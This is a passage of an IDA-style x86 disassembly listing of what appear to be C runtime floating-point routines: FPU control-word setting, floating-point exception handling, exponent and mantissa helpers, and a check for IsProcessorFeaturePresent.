proc near ; CODE XREF: sub_41C679+51p ; sub_41C7BF+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43D350, 0 jnz short loc_420FF6 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_421576 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_420FF6: ; CODE XREF: sub_420FC1+Aj push 0FFFFh mov dword_4DB958, 21h push [ebp+arg_C] call sub_4217E9 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_420FC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421014(int,int,double,double,int) sub_421014 proc near ; CODE XREF: sub_41C679:loc_41C73Cp ; sub_41C7BF:loc_41C882p var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_42135F add esp, 0Ch test eax, eax jnz short loc_421052 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_4210AC add esp, 18h loc_421052: ; CODE XREF: sub_421014+1Aj push [ebp+arg_0] call sub_421649 cmp dword_43D350, 0 pop ecx jnz short loc_421090 test eax, eax jz short loc_421090 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_421576 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_421090: ; CODE XREF: sub_421014+4Ej ; sub_421014+52j push eax call sub_4215FE mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_4217E9 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_421014 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210AC proc near ; CODE XREF: sub_421014+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_4210DE mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_4210DE: ; CODE XREF: sub_4210AC+23j test cl, 2 jz short loc_4210F1 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_4210F1: ; CODE XREF: sub_4210AC+35j test cl, bl jz short loc_421103 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_421103: ; CODE XREF: sub_4210AC+47j test cl, 4 jz short loc_421116 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_421116: ; CODE XREF: sub_4210AC+5Aj test cl, 8 jz short loc_421129 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_421129: ; CODE XREF: sub_4210AC+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_4217CC test al, bl jz short loc_4211B2 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_4211B2: ; CODE XREF: sub_4210AC+FDj test al, 4 jz short loc_4211BD mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_4211BD: ; CODE XREF: sub_4210AC+108j test al, 8 jz short loc_4211C8 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_4211C8: ; CODE XREF: sub_4210AC+113j test al, 10h jz short loc_4211D2 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_4211D2: ; CODE XREF: sub_4210AC+11Ej test al, 20h jz short loc_4211DC mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_4211DC: ; CODE XREF: sub_4210AC+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_42121B cmp eax, 400h jz short loc_42120D cmp eax, 800h jz short loc_421201 cmp eax, ecx jnz short loc_421221 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421221 ; --------------------------------------------------------------------------- loc_421201: ; CODE XREF: sub_4210AC+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_421217 ; --------------------------------------------------------------------------- loc_42120D: ; CODE XREF: sub_4210AC+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_421217: ; CODE XREF: sub_4210AC+15Fj mov [eax], ecx jmp short loc_421221 ; --------------------------------------------------------------------------- loc_42121B: ; CODE XREF: sub_4210AC+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421221: ; CODE XREF: sub_4210AC+14Bj ; sub_4210AC+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_42124C cmp eax, 200h jz short loc_42123F cmp eax, ecx jnz short loc_421259 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_421259 ; --------------------------------------------------------------------------- loc_42123F: ; CODE XREF: sub_4210AC+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_421257 ; --------------------------------------------------------------------------- loc_42124C: ; CODE XREF: sub_4210AC+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_421257: ; CODE XREF: sub_4210AC+19Ej mov [eax], ecx loc_421259: ; CODE XREF: sub_4210AC+189j ; sub_4210AC+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_4217DA lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] nop call near ptr 2660353h mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_4212D3 and dword ptr [esi], 0FFFFFFFEh loc_4212D3: ; CODE XREF: sub_4210AC+222j test byte ptr [eax+8], 8 jz short loc_4212DC and dword ptr [esi], 0FFFFFFFBh loc_4212DC: ; CODE XREF: sub_4210AC+22Bj test byte ptr [eax+8], 4 jz short loc_4212E5 and dword ptr [esi], 0FFFFFFF7h loc_4212E5: ; CODE XREF: sub_4210AC+234j test byte ptr [eax+8], 2 jz short loc_4212EE and dword ptr [esi], 0FFFFFFEFh loc_4212EE: ; CODE XREF: sub_4210AC+23Dj test [eax+8], bl jz short loc_4212F6 and dword ptr [esi], 0FFFFFFDFh loc_4212F6: ; CODE XREF: sub_4210AC+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_42132A dec ecx jz short loc_42131E dec ecx jz short loc_421314 dec ecx jnz short loc_42132C or byte ptr [esi+1], 0Ch jmp short loc_42132C ; --------------------------------------------------------------------------- loc_421314: ; CODE XREF: sub_4210AC+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_421326 ; --------------------------------------------------------------------------- loc_42131E: ; CODE XREF: sub_4210AC+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_421326: ; CODE XREF: sub_4210AC+270j mov [esi], ecx jmp short loc_42132C ; --------------------------------------------------------------------------- loc_42132A: ; CODE XREF: sub_4210AC+257j and [esi], edx loc_42132C: ; CODE XREF: sub_4210AC+260j ; sub_4210AC+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_42134C dec ecx jz short loc_421343 dec ecx jnz short loc_421355 and [esi], edx jmp short loc_421355 ; --------------------------------------------------------------------------- loc_421343: ; CODE XREF: sub_4210AC+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_421353 ; --------------------------------------------------------------------------- loc_42134C: ; CODE XREF: sub_4210AC+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_421353: ; CODE XREF: sub_4210AC+29Ej mov [esi], ecx loc_421355: ; CODE XREF: sub_4210AC+291j ; sub_4210AC+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_4210AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42135F proc near ; CODE XREF: sub_421014+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_42138A test byte ptr [ebp+arg_8], bl jz short loc_42138A push ebx call sub_42180C pop ecx and edi, 0FFFFFFF7h jmp loc_421554 ; --------------------------------------------------------------------------- loc_42138A: ; CODE XREF: sub_42135F+15j ; sub_42135F+1Aj test al, 4 jz short loc_4213A4 test byte ptr [ebp+arg_8], 4 jz short loc_4213A4 push 4 call sub_42180C pop ecx and edi, 0FFFFFFFBh jmp loc_421554 ; --------------------------------------------------------------------------- loc_4213A4: ; CODE XREF: sub_42135F+2Dj ; sub_42135F+33j test al, bl jz loc_42147E test byte ptr [ebp+arg_8], 8 jz loc_42147E push 8 call sub_42180C pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_421456 cmp ecx, 400h jz short loc_42142E cmp ecx, 800h jz short loc_421406 cmp ecx, eax jnz loc_421476 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427878 fld dbl_43CF50 fnstsw ax sahf ja short loc_4213FE fchs loc_4213FE: ; CODE XREF: sub_42135F+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421406: ; CODE XREF: sub_42135F+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427878 fnstsw ax sahf jbe short loc_42141E fld dbl_43CF40 jmp short loc_421426 ; --------------------------------------------------------------------------- loc_42141E: ; CODE XREF: sub_42135F+B5j fld dbl_43CF50 fchs loc_421426: ; CODE XREF: sub_42135F+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_42142E: ; CODE XREF: sub_42135F+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427878 fnstsw ax sahf jbe short loc_421446 fld dbl_43CF50 jmp short loc_42144E ; --------------------------------------------------------------------------- loc_421446: ; CODE XREF: sub_42135F+DDj fld dbl_43CF40 fchs loc_42144E: ; CODE XREF: sub_42135F+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421456: ; CODE XREF: sub_42135F+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427878 fld dbl_43CF40 fnstsw ax sahf ja short loc_42146E fchs loc_42146E: ; CODE XREF: sub_42135F+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_421474: ; CODE XREF: sub_42135F+A5j ; sub_42135F+CDj ... fstp qword ptr [ecx] loc_421476: ; CODE XREF: sub_42135F+81j and edi, 0FFFFFFFEh jmp loc_421554 ; --------------------------------------------------------------------------- loc_42147E: ; CODE XREF: sub_42135F+47j ; sub_42135F+51j test al, 2 jz loc_421554 test byte ptr [ebp+arg_8], 10h jz loc_421554 push esi xor esi, esi test al, 10h jz short loc_421499 mov esi, ebx loc_421499: ; CODE XREF: sub_42135F+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_427878 fnstsw ax sahf jz loc_421542 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_42170B mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_4214E4 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_421538 ; --------------------------------------------------------------------------- loc_4214E4: ; CODE XREF: sub_42135F+17Aj fld [ebp+var_C] fcomp dbl_427878 fnstsw ax sahf jnb short loc_4214F6 mov edx, ebx jmp short loc_4214F8 ; --------------------------------------------------------------------------- loc_4214F6: ; CODE XREF: sub_42135F+191j xor edx, edx loc_4214F8: ; CODE XREF: sub_42135F+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_42152C sub eax, ecx loc_42150F: ; CODE XREF: sub_42135F+1CBj test byte ptr [ebp+var_C], bl jz short loc_42151A test esi, esi jnz short loc_42151A mov esi, ebx loc_42151A: ; CODE XREF: sub_42135F+1B3j ; sub_42135F+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_421526 or byte ptr [ebp+var_C+3], 80h loc_421526: ; CODE XREF: sub_42135F+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_42150F loc_42152C: ; CODE XREF: sub_42135F+1ACj test edx, edx jz short loc_421538 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_421538: ; CODE XREF: sub_42135F+183j ; sub_42135F+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_421544 ; --------------------------------------------------------------------------- loc_421542: ; CODE XREF: sub_42135F+14Ej mov esi, ebx loc_421544: ; CODE XREF: sub_42135F+1E1j test esi, esi pop esi jz short loc_421551 push 10h call sub_42180C pop ecx loc_421551: ; CODE XREF: sub_42135F+1E8j and edi, 0FFFFFFFDh loc_421554: ; CODE XREF: sub_42135F+26j ; sub_42135F+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_42156B test byte ptr [ebp+arg_8], 20h jz short loc_42156B push 20h call sub_42180C pop ecx and edi, 0FFFFFFEFh loc_42156B: ; CODE XREF: sub_42135F+1F9j ; sub_42135F+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_42135F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421576(int,int,int,int,int,int,double,int) sub_421576 proc near ; CODE XREF: sub_420FC1+2Bp ; sub_421014+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421624 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_4215E1 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_4217E9 lea eax, [ebp+var_20] push eax call sub_42401D add esp, 0Ch test eax, eax jnz short loc_4215DB push esi call sub_4215FE pop ecx loc_4215DB: ; CODE XREF: sub_421576+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_4215E1: ; CODE XREF: sub_421576+14j push 0FFFFh push [ebp+arg_20] call sub_4217E9 push [ebp+arg_0] call sub_4215FE fld [ebp+arg_18] add esp, 0Ch leave retn sub_421576 endp ; =============== S U B R O U T I N E ======================================= sub_4215FE proc near ; CODE XREF: sub_421014+7Dp ; sub_421576+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_421619 jle short locret_421623 cmp eax, 3 jg short locret_421623 mov dword_4DB958, 22h retn ; --------------------------------------------------------------------------- loc_421619: ; CODE XREF: sub_4215FE+7j mov dword_4DB958, 21h locret_421623: ; CODE XREF: sub_4215FE+9j ; sub_4215FE+Ej retn sub_4215FE endp ; =============== S U B R O U T I N E ======================================= sub_421624 proc near ; CODE XREF: sub_421576+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43CE68 loc_42162B: ; CODE XREF: sub_421624+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421641 add eax, 8 inc ecx cmp eax, offset dbl_43CF40 jl short loc_42162B xor eax, eax retn ; --------------------------------------------------------------------------- loc_421641: ; CODE XREF: sub_421624+Dj mov eax, off_43CE6C[ecx*8] retn sub_421624 endp ; =============== S U B R O U T I N E ======================================= sub_421649 proc near ; CODE XREF: sub_421014+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_421655 push 5 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421655: ; CODE XREF: sub_421649+6j test al, 8 jz short loc_42165D push 1 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_42165D: ; CODE XREF: sub_421649+Ej test al, 4 jz short loc_421665 push 2 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421665: ; CODE XREF: sub_421649+16j test al, 1 jz short loc_42166D push 3 loc_42166B: ; CODE XREF: sub_421649+Aj ; sub_421649+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: sub_421649+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_421649 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421676(double) sub_421676 proc near ; CODE XREF: sub_41C679:loc_41C6FFp ; sub_41C7BF:loc_41C845p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_421676 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421688(double,int) sub_421688 proc near ; CODE XREF: sub_42170B+82p ; sub_42170B+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_421688 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4216B1 proc near ; CODE XREF: sub_41C679+31p ; sub_41C7BF+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_4216C8 cmp [ebp+arg_0], edx jnz short loc_4216DA push 1 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216C8: ; CODE XREF: sub_4216B1+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_4216DA cmp [ebp+arg_0], edx jnz short loc_4216DA push 2 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216DA: ; CODE XREF: sub_4216B1+11j ; sub_4216B1+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_4216ED push 3 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216ED: ; CODE XREF: sub_4216B1+36j cmp cx, 7FF0h jnz short loc_421707 test [ebp+arg_4], 7FFFFh jnz short loc_421702 cmp [ebp+arg_0], edx jz short loc_421707 loc_421702: ; CODE XREF: sub_4216B1+4Aj push 4 loc_421704: ; CODE XREF: sub_4216B1+15j ; sub_4216B1+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_421707: ; CODE XREF: sub_4216B1+41j ; sub_4216B1+4Fj xor eax, eax pop ebp retn sub_4216B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42170B(double,int) sub_42170B proc near ; CODE XREF: sub_42135F+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_427878 push esi fnstsw ax sahf jnz short loc_42172B fldz xor esi, esi fstp [ebp+var_8] jmp loc_4217C1 ; --------------------------------------------------------------------------- loc_42172B: ; CODE XREF: sub_42170B+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_42179A test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421743 cmp dword ptr [ebp+arg_0], ecx jz short loc_42179A loc_421743: ; CODE XREF: sub_42170B+31j fld [ebp+arg_0] fcomp dbl_427878 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_42175B push 1 pop eax jmp short loc_42175D ; --------------------------------------------------------------------------- loc_42175B: ; CODE XREF: sub_42170B+49j xor eax, eax loc_42175D: ; CODE XREF: sub_42170B+4Ej ; sub_42170B+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_421776 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_421770 or dword ptr [ebp+arg_0+4], 1 loc_421770: ; CODE XREF: sub_42170B+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_42175D ; --------------------------------------------------------------------------- loc_421776: ; CODE XREF: sub_42170B+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_421784 or byte ptr [ebp+arg_0+7], 80h loc_421784: ; CODE XREF: sub_42170B+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 fstp [ebp+var_8] add esp, 0Ch jmp short loc_4217C1 ; --------------------------------------------------------------------------- loc_42179A: ; CODE XREF: sub_42170B+28j ; sub_42170B+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_4217C1: ; CODE XREF: sub_42170B+1Bj ; sub_42170B+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_42170B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217CC proc near ; CODE XREF: sub_4210AC+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_4217CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217DA proc near ; CODE XREF: sub_4210AC+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_4217DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217E9 proc near ; CODE XREF: sub_41C679+13p ; sub_41C679+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_4217E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42180C proc near ; CODE XREF: sub_42135F+1Dp ; sub_42135F+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_421823 fld tbyte_43CF68 fistp [ebp+arg_0] wait loc_421823: ; CODE XREF: sub_42180C+Bj test cl, 8 jz short loc_421838 fstsw ax fld tbyte_43CF68 fstp [ebp+var_8] wait fstsw ax loc_421838: ; CODE XREF: sub_42180C+1Aj test cl, 10h jz short loc_421847 fld tbyte_43CF74 fstp [ebp+var_8] wait loc_421847: ; CODE XREF: sub_42180C+2Fj test cl, 4 jz short loc_421855 fldz fld1 fdivrp st(1), st fstp st wait loc_421855: ; CODE XREF: sub_42180C+3Ej test cl, 20h jz short locret_421860 fldpi fstp [ebp+var_8] wait locret_421860: ; CODE XREF: sub_42180C+4Cj leave retn sub_42180C endp ; =============== S U B R O U T I N E ======================================= sub_421862 proc near ; CODE XREF: sub_41C748+Fp push 30000h push 10000h call sub_424055 pop ecx pop ecx retn sub_421862 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421874 proc near ; CODE XREF: sub_4218B2:loc_4218D6j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_427888 fstp [ebp+var_8] fld dbl_427880 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_427710 fnstsw ax sahf jbe short loc_4218AE push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4218AE: ; CODE XREF: sub_421874+33j xor eax, eax leave retn sub_421874 endp ; =============== S U B R O U T I N E ======================================= sub_4218B2 proc near ; CODE XREF: sub_41C748+5p push offset aKernel32 ; "KERNEL32" nop call near ptr 2690126h test eax, eax jz short loc_4218D6 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax nop call near ptr 26B0000h test eax, eax jz short loc_4218D6 push 0 call eax ; sub_41C748 retn ; --------------------------------------------------------------------------- loc_4218D6: ; CODE XREF: sub_4218B2+Dj ; sub_4218B2+1Dj jmp sub_421874 sub_4218B2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4218DB proc near ; CODE XREF: sub_41F69F+3CBp ; DATA XREF: sub_41C760+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41D74C cmp eax, 65h pop ecx jz short loc_42191B loc_4218EF: ; CODE XREF: sub_4218DB+3Ej inc esi cmp dword_43CBE4, 1 jle short loc_421908 movsx eax, byte ptr [esi] push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_421917 ; --------------------------------------------------------------------------- loc_421908: ; CODE XREF: sub_4218DB+1Cj movsx eax, byte ptr [esi] mov ecx, off_43C9D8 mov al, [ecx+eax*2] and eax, 4 loc_421917: ; CODE XREF: sub_4218DB+2Bj test eax, eax jnz short loc_4218EF loc_42191B: ; CODE XREF: sub_4218DB+12j mov cl, byte_43CBE8 mov al, [esi] mov [esi], cl inc esi loc_421926: ; CODE XREF: sub_4218DB+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_421926 pop esi retn sub_4218DB endp ; =============== S U B R O U T I N E ======================================= sub_421935 proc near ; CODE XREF: sub_41F69F+3E2p ; DATA XREF: sub_41C760+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_43CBE8 mov cl, [eax] test cl, cl jz short loc_421951 loc_421945: ; CODE XREF: sub_421935+1Aj cmp cl, dl 